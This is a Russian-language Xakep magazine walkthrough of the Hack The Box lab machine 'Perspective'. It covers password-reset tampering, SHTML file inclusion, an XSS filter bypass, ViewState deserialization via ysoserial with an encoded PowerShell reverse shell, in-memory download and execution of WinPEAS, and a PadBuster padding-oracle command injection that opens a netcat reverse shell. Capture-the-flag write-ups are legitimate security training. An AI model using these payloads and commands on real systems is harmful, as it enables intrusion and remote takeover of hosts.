Хакер - HTB Perspective. Обходим XSS-фильтры и атакуем шифр через Padding Oracle
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- XSS
- Продвижение
- Локальное повышение привилегий
- Padding Oracle
Сегодня я покажу, как повысить привилегии в системе с помощью атаки Padding Oracle. На пути к ней мы атакуем механизм смены пароля на сайте, обойдем XSS-фильтры и используем уязвимость в механизме сериализации данных.
Проходить будем «безумный» по сложности тренировочный стенд Perspective с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts, чтобы было удобнее обращаться к ней:
10.10.11.151 perspective.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Скрипт нашел два открытых порта: 22 — служба OpenSSH for Windows и 80 — веб‑сервер Microsoft IIS 10.0. Кроме как с веб‑сервером, работать пока не с чем.

ТОЧКА ВХОДА
На сайте можно зарегистрироваться и авторизоваться. Сразу сделаем это, так как зарегистрированным пользователям доступно больше функций, а значит, будет больше мест для тестирования.

На сайте есть возможность создавать и просматривать продукты. Но что более интересно, мы находим почтовый адрес админа, а также возможность сбрасывать пароль.

После ввода почтового адреса нам задают вопросы, ответы на которые мы указывали при регистрации. Причем, если мы указываем почтовый адрес админа, вместо вопросов отображается сообщение о том, что сброс пароля администратора не включает секретные вопросы и процедура недоступна.

Но если перехватить запрос на сброс пароля после ответа на вопросы, можно увидеть, что, помимо прочего, на сервер передается и почтовый адрес.

Я изменил свой почтовый адрес на admin@perspective.htb и все равно получил новую форму, в которой нужно указать новый пароль. Мало того, пароль можно установить!


Авторизуемся от имени админа и получаем доступ к админской панели.
ТОЧКА ОПОРЫ
Админ может смотреть продукты других пользователей, для этого достаточно указать имя пользователя или почтовый адрес.

Вдобавок к этому можно скачать PDF со списком продуктов. В нем все то же самое, что и на сайте.

Тогда перейдем обратно к созданному аккаунту и попробуем добавить продукт. Для продукта можно указать изображение — это очень интересный момент, так как это изображение (точнее, файл) будет вставлен в PDF. Значит, можно попробовать подключить файл SHTML, что при его включении в PDF позволит получить содержимое произвольного файла с диска. Давай создадим SHTML, который загрузит файл конфигураций web.config:
<!--#include file="../web.config"-->

Но при загрузке такого файла сервер выдаст ошибку — загружать можно только изображение. Это можно обойти, если в Burp Proxy исправить содержимое HTTP-заголовка Content-Type обратно на image/jpeg.

В Burp History обнаружим запрос к SHTML и конфигурации в ответе.

Из интересного отмечаем сервис на порте 8000, доступный для локального хоста, а также зашифрованный пароль.

XSS
Так как есть промежуточный сервис обработки и преобразования введенных нами данных, следует поискать другие уязвимости, которые помогут эксфильтровать данные с внутреннего сервера на порте 8000. И натыкаемся на фильтр XSS.

Так как используются фильтры, стоит перебрать возможные варианты нагрузок. Это поможет найти нагрузку, обходящую фильтры. Перехватываем запрос в Burp Proxy и перенаправляем в Burp Intruder (комбинация клавиш Ctrl-I, Ctrl-Shift-I).

В опциях добавим параметр Grep — Extract и выберем опознавательную строку, которая будет сообщать об обнаруженной атаке.

Эта опция добавит в результат перебора еще один столбец, который отобразит возвращенное сервером сообщение. Так мы быстро отфильтруем нагрузки, которые обходят фильтр. Для перебора я взял готовый список с гитхаба Payload Box.

В результате находим немало вариантов для эксплуатации XSS. Остановимся на использовании тега meta:
<META HTTP-EQUIV="refresh" CONTENT="0;url=http://10.10.14.58:8000/test.html">
Эта нагрузка должна включить в отчет страницу test.html с нашего сервера. Для теста откроем на локальном хосте порт 8000 и отправим нагрузку.


Запрос пришел, а значит, сервис уязвим!
ПРОДВИЖЕНИЕ
Теперь перейдем к содержимому подключаемого файла. В нашем HTML-файле будем использовать тег iframe для загрузки и отображения сервиса на порте 8000.
<iframe src="http://localhost:8000/"></iframe>
Генерируем PDF и видим в нем нужную нам страницу.

Страница полностью не поместилась во фрейм, поэтому зададим ему размеры.
<iframe src="http://localhost:8000/" height="2500px" width="2500px"></iframe>

Теперь можем разобрать содержимое страницы. Видим функции encrypt и decrypt, а также ссылку на скрипт. Просмотрим код указанного JS-файла.
<iframe src="http://localhost:8000/swagger/v1/swagger.json" height="2000px" width="2000px"></iframe>

При обращении к странице decrypt нужно предоставить параметр cipherTextRaw. Теперь мы можем попробовать расшифровать полученный из файла web.config параметр ViewStateUserKey.
Чтобы отправить данные и получить ответ, нужно усложнить включаемый нами файл HTML. Для этого создадим и заполним форму, отправлять которую будем с помощью JavaScript, а результат поместим в iframe.
<html>
<body>
<form id="expl" target="iframe" method="post" action="http://localhost:8000/decrypt?cipherTextRaw=ENC1%3a3UVxtz9jwPJWRvjdl1PfqXZTgg%3d%3d">
<input type="text">
</form>
<iframe name="iframe"></iframe>
<script type="text/javascript">document.getElementById('expl').submit();</script>
</body>
</html>

Теперь, когда мы имеем viewstateuserkey, следует попробовать получить RCE через сериализацию .NET. Веб‑приложения ASP.NET используют ViewState для контроля состояния страницы и сохранения данных в формах. И поэтому есть возможность запустить код на веб‑сервере, если получится подделать ViewState. А для этого нам и нужны значения viewstateuserkey, validationalg и validationkey.

Теперь с помощью Online Reverse Shell Generator сгенерируем реверс‑шелл. Нужно указать хост и порт для обратного подключения.

Сериализовать данные мы можем с помощью ysoserial.
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -e JABjA...AKAApAA==" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F110...B52BF"

Теперь отправляем полученные данные в параметре __VIEWSTATE и получаем бэкконнект.


ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Для удобного доступа к хосту мы можем выяснить приватный ключ SSH пользователя и уже с ним получить стабильную командную оболочку.

Для разведки на хосте я решил использовать WinPEAS, но столкнулся с тем, что, если попытаться загрузить на хост исполняемый файл, его удалит антивирус.
Поскольку мы имеем дело с .NET, сборку файла можно выполнить из памяти с помощью PowerShell, без загрузки файла на диск. Сначала командой python3 -m http.server 8000 запустим простой веб‑сервер, а затем загрузим сборку в память и выполним.
powershell -c $wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "http://10.10.14.82:8000/wp.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
В списке открытых портов найдем нетипичный для Windows порт 8009.

Чтобы зайти на него через браузер, нам нужно прокинуть порт. Сделать это можно средствами SSH.
ssh -i id_rsa webuser@perspective.htb -L 8009:127.0.0.1:8009
Таким образом, весь трафик, который мы отправим на локальный порт 8009, будет туннелирован на порт 8009 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь подключимся к порту и найдем там уже знакомый сайт.

Попробуем привычным образом изменить пароль, но в этот раз что‑то не так.

Попробуем поиграть с токеном, к примеру добавить несколько символов или изменить существующие. Получаем сообщения об ошибках, которые говорят о наличии блочного шифра.


Здесь мы можем попробовать применить технику Padding Oracle, но сперва взглянем на сам проект. Если обратиться к пути проекта, увидим заглушку.

Из файла web.config узнаем, что используется алгоритм шифрования AES.

Но больший интерес представляет функция проверки пароля вот в этом файле:
C:\WEBAPPS\PartImages_Staging\handlers\changePassword.ashx

После расшифровки токен тоже передается программе PasswordReset.exe. Если мы сможем манипулировать токеном до шифрования, то выполним инъекцию команды ОС. Тут и перейдем к атаке Padding Oracle.
Padding Oracle
Эта атака применима к шифрованию CBC, в котором сообщение разбивается на блоки длиной X байт и каждый блок ксорится с предыдущим зашифрованным блоком. Затем результат шифруется. Что очень важно, шифрование выполняется блоками фиксированного размера.
Чтобы гарантировать точное размещение открытого текста в одном или нескольких блоках, часто используется дополнение (padding). Это дополнение может быть выполнено несколькими способами, самый распространенный — PKCS7. В PKCS7 дополнение будет состоять из одного и того же числа — количества недостающих байтов. Например, если в открытом тексте отсутствует два байта, заполнение будет \x02\x02.
Суть атаки заключается в том, что мы, манипулируя данными и получая информацию о верности дополнения, можем раскрыть весь исходный текст. Очень подробно о теории этой атаки можно прочитать на «Хабрахабре» в статье «Padding Oracle Attack, или почему криптография пугает» и ее продолжении.
Мы же будем использовать готовый скрипт PadBuster. Указываем следующие параметры:
- URL;
- саму последовательность;
- размер блока;
- ответ, говорящий об ошибке;
- текст, который нужно зашифровать.
В качестве нагрузки для инъекции команды используем обычный реверс‑шелл. Это будет заранее загруженный netcat:
n.exe -e cmd.exe 10.10.14.84 4321
В качестве разделителя используем амперсанд:
padbuster http://127.0.0.1:8009/handlers/changePassword.ashx lhi98x_p_eJ1C5zt7w-8ogpurkeg36_bk0Vq9cyC5yI 16 -post 'password1=rrRR11!!&password2=rrRR11!!&token=lhi98x_p_eJ1C5zt7w-8ogpurkeg36_bk0Vq9cy
C5yI' -encoding 4 -error 'Padding is invalid and cannot be removed.' -plaintext 'r & C:\Temp\n.exe -e cmd.exe 10.10.14.84 4321'

В итоге у нас есть новый токен. Используем его на сайте и получаем бэкконнект на открытый листенер (rlwrap nc -lnvp 4321).

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei